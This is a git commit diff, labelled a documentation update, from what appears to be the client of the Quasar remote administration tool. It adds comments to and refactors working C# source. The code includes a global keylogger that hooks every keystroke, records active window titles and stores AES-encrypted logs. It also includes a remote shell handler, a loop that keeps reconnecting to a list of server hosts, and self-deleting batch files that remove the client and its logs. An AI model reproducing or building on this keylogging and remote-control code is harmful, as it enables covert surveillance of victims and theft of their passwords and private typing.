Update documentation

This commit is contained in:
MaxXor 2020-05-29 16:45:47 +02:00
parent 3fbf7fd0f7
commit 9ed61be8e1
17 changed files with 433 additions and 382 deletions

View File

@ -9,6 +9,9 @@
namespace Quasar.Client.Config
{
/// <summary>
/// Stores the configuration of the client.
/// </summary>
public static class Settings
{
#if DEBUG

View File

@ -0,0 +1,59 @@
using System.Collections.Generic;
using System.Linq;
using System.Windows.Forms;
namespace Quasar.Client.Extensions
{
public static class KeyExtensions
{
public static bool ContainsModifierKeys(this List<Keys> pressedKeys)
{
return pressedKeys.Any(x => x.IsModifierKey());
}
public static bool IsModifierKey(this Keys key)
{
return (key == Keys.LControlKey
|| key == Keys.RControlKey
|| key == Keys.LMenu
|| key == Keys.RMenu
|| key == Keys.LWin
|| key == Keys.RWin
|| key == Keys.Control
|| key == Keys.Alt);
}
public static bool ContainsKeyChar(this List<Keys> pressedKeys, char c)
{
return pressedKeys.Contains((Keys)char.ToUpper(c));
}
public static bool IsExcludedKey(this Keys k)
{
// The keys below are excluded. If it is one of the keys below,
// the KeyPress event will handle these characters. If the keys
// are not any of those specified below, we can continue.
return (k >= Keys.A && k <= Keys.Z
|| k >= Keys.NumPad0 && k <= Keys.Divide
|| k >= Keys.D0 && k <= Keys.D9
|| k >= Keys.Oem1 && k <= Keys.OemClear
|| k >= Keys.LShiftKey && k <= Keys.RShiftKey
|| k == Keys.CapsLock
|| k == Keys.Space);
}
public static string GetDisplayName(this Keys key)
{
string name = key.ToString();
if (name.Contains("ControlKey"))
return "Control";
else if (name.Contains("Menu"))
return "Alt";
else if (name.Contains("Win"))
return "Win";
else if (name.Contains("Shift"))
return "Shift";
return name;
}
}
}

View File

@ -1,11 +1,14 @@
using System;
using Microsoft.Win32;
using Quasar.Common.Utilities;
using System;
using System.Collections.Generic;
using System.Linq;
using Microsoft.Win32;
using Quasar.Common.Utilities;
namespace Quasar.Client.Extensions
{
/// <summary>
/// Provides extensions for registry key and value operations.
/// </summary>
public static class RegistryKeyExtensions
{
/// <summary>
@ -25,7 +28,7 @@ private static bool IsNameOrValueNull(this string keyName, RegistryKey key)
/// </summary>
/// <param name="key">The key of which we obtain the value of.</param>
/// <param name="keyName">The name of the key.</param>
/// <param name="defaultValue">The default value if value can not be determinated.</param>
/// <param name="defaultValue">The default value if value can not be determined.</param>
/// <returns>Returns the value of the key using the specified key name. If unable to do so,
/// defaultValue will be returned instead.</returns>
public static string GetValueSafe(this RegistryKey key, string keyName, string defaultValue = "")
@ -107,8 +110,7 @@ public static RegistryKey CreateSubKeySafe(this RegistryKey key, string name)
/// </summary>
/// <param name="key">The key of which the sub-key is to be deleted from.</param>
/// <param name="name">The name of the sub-key.</param>
/// <returns>Returns boolean value if the action succeded or failed
/// </returns>
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name)
{
try
@ -122,8 +124,6 @@ public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name)
}
}
#region Rename Key
/*
* Derived and Adapted from drdandle's article,
* Copy and Rename Registry Keys at Code project.
@ -146,21 +146,20 @@ public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name)
/// <param name="key">The key of which the subkey is to be renamed from.</param>
/// <param name="oldName">The old name of the sub-key.</param>
/// <param name="newName">The new name of the sub-key.</param>
/// <returns>Returns boolean value if the action succeded or failed; Returns
/// </returns>
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string newName)
{
try
{
//Copy from old to new
key.CopyKey(oldName, newName);
//Despose of the old key
//Dispose of the old key
key.DeleteSubKeyTree(oldName);
return true;
}
catch
{
//Try to despose of the newKey (The rename failed)
//Try to dispose of the newKey (The rename failed)
key.DeleteSubKeyTreeSafe(newName);
return false;
}
@ -173,8 +172,6 @@ public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string
/// <param name="key">The key of which the subkey is to be deleted from.</param>
/// <param name="oldName">The old name of the sub-key.</param>
/// <param name="newName">The new name of the sub-key.</param>
/// <returns>Returns nothing
/// </returns>
public static void CopyKey(this RegistryKey key, string oldName, string newName)
{
//Create a new key
@ -195,8 +192,6 @@ public static void CopyKey(this RegistryKey key, string oldName, string newName)
/// </summary>
/// <param name="sourceKey">The source key to copy from.</param>
/// <param name="destKey">The destination key to copy to.</param>
/// <returns>Returns nothing
/// </returns>
private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey)
{
@ -222,10 +217,6 @@ private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey)
}
}
#endregion
#region Region Value
/// <summary>
/// Attempts to set a registry value for the key provided using the specified
/// name, data and kind. If the registry value does not exist it will be created
@ -234,7 +225,7 @@ private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey)
/// <param name="name">The name of the value.</param>
/// <param name="data">The data of the value</param>
/// <param name="kind">The value kind of the value</param>
/// <returns>Returns a boolean value if the action succeeded or failed.</returns>
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool SetValueSafe(this RegistryKey key, string name, object data, RegistryValueKind kind)
{
try
@ -274,7 +265,7 @@ public static bool SetValueSafe(this RegistryKey key, string name, object data,
/// </summary>
/// <param name="key">The key of which the value is to be delete from.</param>
/// <param name="name">The name of the value.</param>
/// <returns>Returns a boolean value if the action succeded or failed.</returns>
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool DeleteValueSafe(this RegistryKey key, string name)
{
try
@ -288,8 +279,6 @@ public static bool DeleteValueSafe(this RegistryKey key, string name)
}
}
#region Rename Value
/// <summary>
/// Attempts to rename a registry value to the key provided using the specified old
/// name and new name.
@ -297,21 +286,20 @@ public static bool DeleteValueSafe(this RegistryKey key, string name)
/// <param name="key">The key of which the registry value is to be renamed from.</param>
/// <param name="oldName">The old name of the registry value.</param>
/// <param name="newName">The new name of the registry value.</param>
/// <returns>Returns boolean value if the action succeded or failed; Returns
/// </returns>
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool RenameValueSafe(this RegistryKey key, string oldName, string newName)
{
try
{
//Copy from old to new
key.CopyValue(oldName, newName);
//Despose of the old value
//Dispose of the old value
key.DeleteValue(oldName);
return true;
}
catch
{
//Try to despose of the newKey (The rename failed)
//Try to dispose of the newKey (The rename failed)
key.DeleteValueSafe(newName);
return false;
}
@ -324,8 +312,6 @@ public static bool RenameValueSafe(this RegistryKey key, string oldName, string
/// <param name="key">The key of which the registry value is to be copied.</param>
/// <param name="oldName">The old name of the registry value.</param>
/// <param name="newName">The new name of the registry value.</param>
/// <returns>Returns nothing
/// </returns>
public static void CopyValue(this RegistryKey key, string oldName, string newName)
{
RegistryValueKind valueKind = key.GetValueKind(oldName);
@ -334,19 +320,12 @@ public static void CopyValue(this RegistryKey key, string oldName, string newNam
key.SetValue(newName, valueData, valueKind);
}
#endregion
#endregion
#region Find
/// <summary>
/// Checks if the specified subkey exists in the key
/// </summary>
/// <param name="key">The key of which to search.</param>
/// <param name="name">The name of the sub-key to find.</param>
/// <returns>Returns boolean value if the action succeded or failed
/// </returns>
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool ContainsSubKey(this RegistryKey key, string name)
{
foreach (string subkey in key.GetSubKeyNames())
@ -364,8 +343,7 @@ public static bool ContainsSubKey(this RegistryKey key, string name)
/// </summary>
/// <param name="key">The key of which to search.</param>
/// <param name="name">The name of the registry value to find.</param>
/// <returns>Returns boolean value if the action succeded or failed
/// </returns>
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool ContainsValue(this RegistryKey key, string name)
{
foreach (string value in key.GetValueNames())
@ -378,8 +356,6 @@ public static bool ContainsValue(this RegistryKey key, string name)
return false;
}
#endregion
/// <summary>
/// Gets all of the value names associated with the registry key and returns
/// formatted strings of the filtered values.
@ -396,6 +372,11 @@ public static bool ContainsValue(this RegistryKey key, string name)
}
}
/// <summary>
/// Gets the default value for a given data type of a registry value.
/// </summary>
/// <param name="valueKind">The data type of the registry value.</param>
/// <returns>The default value for the given <see cref="valueKind"/>.</returns>
public static object GetDefault(this RegistryValueKind valueKind)
{
switch (valueKind)
@ -416,4 +397,4 @@ public static object GetDefault(this RegistryValueKind valueKind)
}
}
}
}
}

View File

@ -1,40 +1,35 @@
using Quasar.Common.Helpers;
using System;
using System.IO;
using System.Text;
namespace Quasar.Client.IO
{
public class BatchFile
/// <summary>
/// Provides methods to create batch files for application update, uninstall and restart operations.
/// </summary>
public static class BatchFile
{
/// <summary>
/// Creates the uninstall batch file.
/// </summary>
/// <param name="currentFilePath">The current file path of the client.</param>
/// <param name="logDirectory">The log directory.</param>
/// <returns>The file path to the batch file which can then get executed. Returns <code>string.Empty</code> on failure.</returns>
/// <returns>The file path to the batch file which can then get executed. Returns <c>string.Empty</c> on failure.</returns>
public static string CreateUninstallBatch(string currentFilePath, string logDirectory)
{
try
{
string batchFile = FileHelper.GetTempFilePath(".bat");
string batchFile = FileHelper.GetTempFilePath(".bat");
string uninstallBatch =
"@echo off" + "\r\n" +
"chcp 65001" + "\r\n" +
"echo DONT CLOSE THIS WINDOW!" + "\r\n" +
"ping -n 10 localhost > nul" + "\r\n" +
"del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" +
"rmdir /q /s " + "\"" + logDirectory + "\"" + "\r\n" +
"del /a /q /f " + "\"" + batchFile + "\"";
string uninstallBatch =
"@echo off" + "\r\n" +
"chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
"echo DONT CLOSE THIS WINDOW!" + "\r\n" +
"ping -n 10 localhost > nul" + "\r\n" +
"del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" +
"rmdir /q /s " + "\"" + logDirectory + "\"" + "\r\n" +
"del /a /q /f " + "\"" + batchFile + "\"";
File.WriteAllText(batchFile, uninstallBatch, new UTF8Encoding(false));
return batchFile;
}
catch (Exception)
{
return string.Empty;
}
File.WriteAllText(batchFile, uninstallBatch, new UTF8Encoding(false));
return batchFile;
}
/// <summary>
@ -42,59 +37,45 @@ public static string CreateUninstallBatch(string currentFilePath, string logDire
/// </summary>
/// <param name="currentFilePath">The current file path of the client.</param>
/// <param name="newFilePath">The new file path of the client.</param>
/// <returns>The file path to the batch file which can then get executed. Returns <code>string.Empty</code> on failure.</returns>
/// <returns>The file path to the batch file which can then get executed. Returns an empty string on failure.</returns>
public static string CreateUpdateBatch(string currentFilePath, string newFilePath)
{
try
{
string batchFile = FileHelper.GetTempFilePath(".bat");
string batchFile = FileHelper.GetTempFilePath(".bat");
string updateBatch =
"@echo off" + "\r\n" +
"chcp 65001" + "\r\n" +
"echo DONT CLOSE THIS WINDOW!" + "\r\n" +
"ping -n 10 localhost > nul" + "\r\n" +
"del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" +
"move /y " + "\"" + newFilePath + "\"" + " " + "\"" + currentFilePath + "\"" + "\r\n" +
"start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" +
"del /a /q /f " + "\"" + batchFile + "\"";
string updateBatch =
"@echo off" + "\r\n" +
"chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
"echo DONT CLOSE THIS WINDOW!" + "\r\n" +
"ping -n 10 localhost > nul" + "\r\n" +
"del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" +
"move /y " + "\"" + newFilePath + "\"" + " " + "\"" + currentFilePath + "\"" + "\r\n" +
"start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" +
"del /a /q /f " + "\"" + batchFile + "\"";
File.WriteAllText(batchFile, updateBatch, new UTF8Encoding(false));
return batchFile;
}
catch (Exception)
{
return string.Empty;
}
File.WriteAllText(batchFile, updateBatch, new UTF8Encoding(false));
return batchFile;
}
/// <summary>
/// Creates the restart batch file.
/// </summary>
/// <param name="currentFilePath">The current file path of the client.</param>
/// <returns>The file path to the batch file which can then get executed. Returns <code>string.Empty</code> on failure.</returns>
/// <returns>The file path to the batch file which can then get executed. Returns <c>string.Empty</c> on failure.</returns>
public static string CreateRestartBatch(string currentFilePath)
{
try
{
string batchFile = FileHelper.GetTempFilePath(".bat");
string batchFile = FileHelper.GetTempFilePath(".bat");
string restartBatch =
"@echo off" + "\r\n" +
"chcp 65001" + "\r\n" +
"echo DONT CLOSE THIS WINDOW!" + "\r\n" +
"ping -n 10 localhost > nul" + "\r\n" +
"start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" +
"del /a /q /f " + "\"" + batchFile + "\"";
string restartBatch =
"@echo off" + "\r\n" +
"chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
"echo DONT CLOSE THIS WINDOW!" + "\r\n" +
"ping -n 10 localhost > nul" + "\r\n" +
"start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" +
"del /a /q /f " + "\"" + batchFile + "\"";
File.WriteAllText(batchFile, restartBatch, new UTF8Encoding(false));
File.WriteAllText(batchFile, restartBatch, new UTF8Encoding(false));
return batchFile;
}
catch (Exception)
{
return string.Empty;
}
return batchFile;
}
}
}

View File

@ -1,6 +1,5 @@
using Quasar.Client.Networking;
using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Diagnostics;
using System.Globalization;
@ -48,27 +47,20 @@ public class Shell : IDisposable
/// </summary>
private StreamWriter _inputWriter;
/// <summary>
/// The client to sends responses to.
/// </summary>
private readonly QuasarClient _client;
/// <summary>
/// Initializes a new instance of the <see cref="Shell"/> class using a given client.
/// </summary>
/// <param name="client">The client to send shell responses to.</param>
public Shell(QuasarClient client)
{
_client = client;
}
private void Execute(ISender client, DoShellExecute message)
{
string input = message.Command;
if ((_prc == null || _prc.HasExited) && input == "exit") return;
if (input == "exit")
Dispose();
else
ExecuteCommand(input);
}
/// <summary>
/// Creates a new session of the shell.
/// </summary>

View File

@ -1,5 +1,7 @@
using Gma.System.MouseKeyHook;
using Quasar.Client.Config;
using Quasar.Client.Extensions;
using Quasar.Client.Helper;
using Quasar.Common.Cryptography;
using Quasar.Common.Helpers;
using System;
@ -7,6 +9,7 @@
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Web;
using System.Windows.Forms;
using Timer = System.Timers.Timer;
@ -19,39 +22,68 @@ namespace Quasar.Client.Logging
public class Keylogger : IDisposable
{
/// <summary>
/// True if the class has already been disposed, else False.
/// <c>True</c> if the class has already been disposed, else <c>false</c>.
/// </summary>
public bool IsDisposed { get; private set; }
public double FlushInterval { get; private set; }
/// <summary>
/// The timer used to periodically flush the <see cref="_logFileBuffer"/> from memory to disk.
/// </summary>
private readonly Timer _timerFlush;
/// <summary>
/// The
/// </summary>
private readonly StringBuilder _logFileBuffer = new StringBuilder();
/// <summary>
/// Temporary list of pressed keys while they are being processed.
/// </summary>
private readonly List<Keys> _pressedKeys = new List<Keys>();
/// <summary>
/// Temporary list of pressed keys chars while they are being processed.
/// </summary>
private readonly List<char> _pressedKeyChars = new List<char>();
/// <summary>
/// Saves the last window title of an application.
/// </summary>
private string _lastWindowTitle = string.Empty;
/// <summary>
/// Determines if special keys should be ignored for processing, e.g. when a modifier key is pressed.
/// </summary>
private bool _ignoreSpecialKeys;
private IKeyboardMouseEvents _mEvents;
/// <summary>
/// Used to hook global mouse and keyboard events.
/// </summary>
private readonly IKeyboardMouseEvents _mEvents;
/// <summary>
/// Provides encryption and decryption methods to securely store log files.
/// </summary>
private readonly Aes256 _aesInstance = new Aes256(Settings.ENCRYPTIONKEY);
/// <summary>
/// Creates the keylogger instance that provides keylogging functionality.
/// Initializes a new instance of <see cref="Keylogger"/> that provides keylogging functionality.
/// </summary>
/// <param name="flushInterval">The interval to flush the buffer to the logfile.</param>
/// <param name="flushInterval">The interval to flush the buffer from memory to disk.</param>
public Keylogger(double flushInterval)
{
FlushInterval = flushInterval;
_timerFlush = new Timer { Interval = FlushInterval };
_timerFlush.Elapsed += timerFlush_Elapsed;
_mEvents = Hook.GlobalEvents();
_timerFlush = new Timer { Interval = flushInterval };
_timerFlush.Elapsed += TimerElapsed;
}
public void StartLogging()
/// <summary>
/// Begins logging of keys.
/// </summary>
public void Start()
{
Subscribe(Hook.GlobalEvents());
Subscribe();
_timerFlush.Start();
WriteFile();
}
/// <summary>
@ -65,53 +97,59 @@ public void Dispose()
protected virtual void Dispose(bool disposing)
{
if (!IsDisposed)
if (IsDisposed)
return;
if (disposing)
{
if (disposing)
{
if (_timerFlush != null)
{
_timerFlush.Stop();
_timerFlush.Dispose();
}
}
Unsubscribe();
IsDisposed = true;
_timerFlush.Stop();
_timerFlush.Dispose();
_mEvents.Dispose();
}
IsDisposed = true;
}
private void Subscribe(IKeyboardMouseEvents events)
/// <summary>
/// Subscribes to all key events.
/// </summary>
private void Subscribe()
{
_mEvents = events;
_mEvents.KeyDown += OnKeyDown;
_mEvents.KeyUp += OnKeyUp;
_mEvents.KeyPress += OnKeyPress;
}
/// <summary>
/// Unsubscribes from all key events.
/// </summary>
private void Unsubscribe()
{
if (_mEvents == null) return;
_mEvents.KeyDown -= OnKeyDown;
_mEvents.KeyUp -= OnKeyUp;
_mEvents.KeyPress -= OnKeyPress;
_mEvents.Dispose();
}
private void OnKeyDown(object sender, KeyEventArgs e) //Called first
/// <summary>
/// Initial handling of the key down events and updates the window title.
/// </summary>
/// <param name="sender">The sender of the event.</param>
/// <param name="e">The key event args, e.g. the keycode.</param>
/// <remarks>This event handler is called first.</remarks>
private void OnKeyDown(object sender, KeyEventArgs e)
{
string activeWindowTitle = KeyloggerHelper.GetActiveWindowTitle(); //Get active thread window title
string activeWindowTitle = NativeMethodsHelper.GetForegroundWindowTitle();
if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle)
{
_lastWindowTitle = activeWindowTitle;
_logFileBuffer.Append(@"<p class=""h""><br><br>[<b>"
+ KeyloggerHelper.Filter(activeWindowTitle) + " - "
+ HttpUtility.HtmlEncode(activeWindowTitle) + " - "
+ DateTime.Now.ToString("HH:mm")
+ "</b>]</p><br>");
}
if (_pressedKeys.IsModifierKeysSet())
if (_pressedKeys.ContainsModifierKeys())
{
if (!_pressedKeys.Contains(e.KeyCode))
{
@ -133,19 +171,24 @@ private void Unsubscribe()
}
}
//This method should be used to process all of our unicode characters
private void OnKeyPress(object sender, KeyPressEventArgs e) //Called second
/// <summary>
/// Processes pressed keys and appends them to the <see cref="_logFileBuffer"/>. Processing of Unicode characters starts here.
/// </summary>
/// <param name="sender">The sender of the event.</param>
/// <param name="e">The key press event args, especially the pressed KeyChar.</param>
/// <remarks>This event handler is called second.</remarks>
private void OnKeyPress(object sender, KeyPressEventArgs e)
{
if (_pressedKeys.IsModifierKeysSet() && _pressedKeys.ContainsKeyChar(e.KeyChar))
if (_pressedKeys.ContainsModifierKeys() && _pressedKeys.ContainsKeyChar(e.KeyChar))
return;
if ((!_pressedKeyChars.Contains(e.KeyChar) || !KeyloggerHelper.DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar))
if ((!_pressedKeyChars.Contains(e.KeyChar) || !DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar))
{
var filtered = KeyloggerHelper.Filter(e.KeyChar);
var filtered = HttpUtility.HtmlEncode(e.KeyChar.ToString());
if (!string.IsNullOrEmpty(filtered))
{
Debug.WriteLine("OnKeyPress Output: " + filtered);
if (_pressedKeys.IsModifierKeysSet())
if (_pressedKeys.ContainsModifierKeys())
_ignoreSpecialKeys = true;
_pressedKeyChars.Add(e.KeyChar);
@ -154,12 +197,34 @@ private void Unsubscribe()
}
}
private void OnKeyUp(object sender, KeyEventArgs e) //Called third
/// <summary>
/// Finishes processing of the keys.
/// </summary>
/// <param name="sender">The sender of the event.</param>
/// <param name="e">The key event args.</param>
/// <remarks>This event handler is called third.</remarks>
private void OnKeyUp(object sender, KeyEventArgs e)
{
_logFileBuffer.Append(HighlightSpecialKeys(_pressedKeys.ToArray()));
_pressedKeyChars.Clear();
}
/// <summary>
/// Finds a held down key char in a given key char list.
/// </summary>
/// <param name="list">The list of key chars.</param>
/// <param name="search">The key char to search for.</param>
/// <returns><c>True</c> if the list contains the key char, else <c>false</c>.</returns>
private bool DetectKeyHolding(List<char> list, char search)
{
return list.FindAll(s => s.Equals(search)).Count > 1;
}
/// <summary>
/// Adds special highlighting in HTML to the special keys.
/// </summary>
/// <param name="keys">The input keys.</param>
/// <returns>The highlighted special keys.</returns>
private string HighlightSpecialKeys(Keys[] keys)
{
if (keys.Length < 1) return string.Empty;
@ -169,7 +234,7 @@ private string HighlightSpecialKeys(Keys[] keys)
{
if (!_ignoreSpecialKeys)
{
names[i] = KeyloggerHelper.GetDisplayName(keys[i]);
names[i] = keys[i].GetDisplayName();
Debug.WriteLine("HighlightSpecialKeys: " + keys[i] + " : " + names[i]);
}
else
@ -181,7 +246,7 @@ private string HighlightSpecialKeys(Keys[] keys)
_ignoreSpecialKeys = false;
if (_pressedKeys.IsModifierKeysSet())
if (_pressedKeys.ContainsModifierKeys())
{
StringBuilder specialKeys = new StringBuilder();
@ -228,14 +293,18 @@ private string HighlightSpecialKeys(Keys[] keys)
return normalKeys.ToString();
}
private void timerFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
private void TimerElapsed(object sender, System.Timers.ElapsedEventArgs e)
{
if (_logFileBuffer.Length > 0)
WriteFile();
}
/// <summary>
/// Writes the logged keys from memory to disk.
/// </summary>
private void WriteFile()
{
// TODO: large log files take a very long time to read, decrypt and append new logs to
bool writeHeader = false;
string filename = Path.Combine(Settings.LOGSPATH, DateTime.Now.ToString("MM-dd-yyyy"));

View File

@ -1,110 +0,0 @@
using System.Collections.Generic;
using System.Windows.Forms;
using Quasar.Client.Helper;
namespace Quasar.Client.Logging
{
public static class KeyloggerHelper
{
#region "Extension Methods"
public static bool IsModifierKeysSet(this List<Keys> pressedKeys)
{
return pressedKeys != null &&
(pressedKeys.Contains(Keys.LControlKey)
|| pressedKeys.Contains(Keys.RControlKey)
|| pressedKeys.Contains(Keys.LMenu)
|| pressedKeys.Contains(Keys.RMenu)
|| pressedKeys.Contains(Keys.LWin)
|| pressedKeys.Contains(Keys.RWin)
|| pressedKeys.Contains(Keys.Control)
|| pressedKeys.Contains(Keys.Alt));
}
public static bool IsModifierKey(this Keys key)
{
return (key == Keys.LControlKey
|| key == Keys.RControlKey
|| key == Keys.LMenu
|| key == Keys.RMenu
|| key == Keys.LWin
|| key == Keys.RWin
|| key == Keys.Control
|| key == Keys.Alt);
}
public static bool ContainsKeyChar(this List<Keys> pressedKeys, char c)
{
return pressedKeys.Contains((Keys)char.ToUpper(c));
}
public static bool IsExcludedKey(this Keys k)
{
// The keys below are excluded. If it is one of the keys below,
// the KeyPress event will handle these characters. If the keys
// are not any of those specified below, we can continue.
return (k >= Keys.A && k <= Keys.Z
|| k >= Keys.NumPad0 && k <= Keys.Divide
|| k >= Keys.D0 && k <= Keys.D9
|| k >= Keys.Oem1 && k <= Keys.OemClear
|| k >= Keys.LShiftKey && k <= Keys.RShiftKey
|| k == Keys.CapsLock
|| k == Keys.Space);
}
#endregion
public static bool DetectKeyHolding(List<char> list, char search)
{
return list.FindAll(s => s.Equals(search)).Count > 1;
}
public static string Filter(char key)
{
if ((int)key < 32) return string.Empty;
switch (key)
{
case '<':
return "&lt;";
case '>':
return "&gt;";
case '#':
return "&#35;";
case '&':
return "&amp;";
case '"':
return "&quot;";
case '\'':
return "&apos;";
case ' ':
return "&nbsp;";
}
return key.ToString();
}
public static string Filter(string input)
{
return input.Replace("<", "&lt;").Replace(">", "&gt;").Replace("\"", "&quot;").Replace("'", "&apos;");
}
public static string GetDisplayName(Keys key, bool altGr = false)
{
string name = key.ToString();
if (name.Contains("ControlKey"))
return "Control";
else if (name.Contains("Menu"))
return "Alt";
else if (name.Contains("Win"))
return "Win";
else if (name.Contains("Shift"))
return "Shift";
return name;
}
public static string GetActiveWindowTitle()
{
string title = NativeMethodsHelper.GetForegroundWindowTitle();
return (!string.IsNullOrEmpty(title)) ? title : null;
}
}
}

View File

@ -4,23 +4,43 @@
namespace Quasar.Client.Logging
{
/// <summary>
/// Provides a service to run the keylogger.
/// </summary>
public class KeyloggerService : IDisposable
{
/// <summary>
/// The thread containing the executed keylogger and message loop.
/// </summary>
private readonly Thread _msgLoopThread;
/// <summary>
/// The message loop which is needed to receive key events.
/// </summary>
private ApplicationContext _msgLoop;
/// <summary>
/// Provides keylogging functionality.
/// </summary>
private Keylogger _keylogger;
/// <summary>
/// Initializes a new instance of <see cref="KeyloggerService"/>.
/// </summary>
public KeyloggerService()
{
_msgLoopThread = new Thread(() =>
{
_msgLoop = new ApplicationContext();
_keylogger = new Keylogger(15000);
_keylogger.StartLogging();
_keylogger.Start();
Application.Run(_msgLoop);
});
}
/// <summary>
/// Starts the keylogger and message loop.
/// </summary>
public void Start()
{
_msgLoopThread.Start();

View File

@ -74,11 +74,12 @@ private void Execute(ISender client, DoCloseConnection message)
message.RemotePort == table[i].RemotePort)
{
// it will close the connection only if client run as admin
//table[i].state = (byte)ConnectionStates.Delete_TCB;
table[i].state = 12; // 12 for Delete_TCB state
table[i].state = (byte) ConnectionState.Delete_TCB;
var ptr = Marshal.AllocCoTaskMem(Marshal.SizeOf(table[i]));
Marshal.StructureToPtr(table[i], ptr, false);
NativeMethods.SetTcpEntry(ptr);
Execute(client, new GetConnections());
return;
}
}
}
@ -88,11 +89,12 @@ private NativeMethods.MibTcprowOwnerPid[] GetTable()
NativeMethods.MibTcprowOwnerPid[] tTable;
var afInet = 2;
var buffSize = 0;
var ret = NativeMethods.GetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll);
// retrieve correct pTcpTable size
NativeMethods.GetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll);
var buffTable = Marshal.AllocHGlobal(buffSize);
try
{
ret = NativeMethods.GetExtendedTcpTable(buffTable, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll);
var ret = NativeMethods.GetExtendedTcpTable(buffTable, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll);
if (ret != 0)
return null;
var tab = (NativeMethods.MibTcptableOwnerPid)Marshal.PtrToStructure(buffTable, typeof(NativeMethods.MibTcptableOwnerPid));

View File

@ -14,16 +14,38 @@
namespace Quasar.Client.Networking
{
public class QuasarClient : Client
public class QuasarClient : Client, IDisposable
{
/// <summary>
/// When Exiting is true, stop all running threads and exit.
/// Used to keep track if the client has been identified by the server.
/// </summary>
private bool _identified;
/// <summary>
/// The hosts manager which contains the available hosts to connect to.
/// </summary>
public bool Exiting { get; private set; }
public bool Identified { get; private set; }
private readonly HostsManager _hosts;
/// <summary>
/// Random number generator to slightly randomize the reconnection delay.
/// </summary>
private readonly SafeRandom _random;
/// <summary>
/// Create a <see cref="_token"/> and signals cancellation.
/// </summary>
private readonly CancellationTokenSource _tokenSource;
/// <summary>
/// The token to check for cancellation.
/// </summary>
private readonly CancellationToken _token;
/// <summary>
/// Initializes a new instance of the <see cref="QuasarClient"/> class.
/// </summary>
/// <param name="hostsManager">The hosts manager which contains the available hosts to connect to.</param>
/// <param name="serverCertificate">The server certificate.</param>
public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificate)
: base(serverCertificate)
{
@ -32,12 +54,17 @@ public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificat
base.ClientState += OnClientState;
base.ClientRead += OnClientRead;
base.ClientFail += OnClientFail;
this._tokenSource = new CancellationTokenSource();
this._token = _tokenSource.Token;
}
/// <summary>
/// Connection loop used to reconnect and keep the connection open.
/// </summary>
public void ConnectLoop()
{
// TODO: do not re-use object
while (!Exiting) // Main Connect Loop
while (!_token.IsCancellationRequested)
{
if (!Connected)
{
@ -48,10 +75,10 @@ public void ConnectLoop()
while (Connected) // hold client open
{
Thread.Sleep(1000);
_token.WaitHandle.WaitOne(1000);
}
if (Exiting)
if (_token.IsCancellationRequested)
{
Disconnect();
return;
@ -63,12 +90,12 @@ public void ConnectLoop()
private void OnClientRead(Client client, IMessage message, int messageLength)
{
if (!Identified)
if (!_identified)
{
if (message.GetType() == typeof(ClientIdentificationResult))
{
var reply = (ClientIdentificationResult) message;
Identified = reply.Result;
_identified = reply.Result;
}
return;
}
@ -84,7 +111,7 @@ private void OnClientFail(Client client, Exception ex)
private void OnClientState(Client client, bool connected)
{
Identified = false; // always reset identification
_identified = false; // always reset identification
if (connected)
{
@ -111,10 +138,31 @@ private void OnClientState(Client client, bool connected)
}
}
/// <summary>
/// Stops the connection loop and disconnects the connection.
/// </summary>
public void Exit()
{
Exiting = true;
_tokenSource.Cancel();
Disconnect();
}
/// <summary>
/// Disposes all managed and unmanaged resources associated with this activity detection service.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
_tokenSource.Cancel();
_tokenSource.Dispose();
}
}
}
}

View File

@ -30,6 +30,7 @@
<Reference Include="System.Management" />
<Reference Include="System.Security" />
<Reference Include="System.ServiceModel" />
<Reference Include="System.Web" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>

View File

@ -29,7 +29,7 @@ public class QuasarApplication : IDisposable
/// <summary>
/// The client used for the connection to the server.
/// </summary>
public QuasarClient ConnectClient;
private QuasarClient _connectClient;
/// <summary>
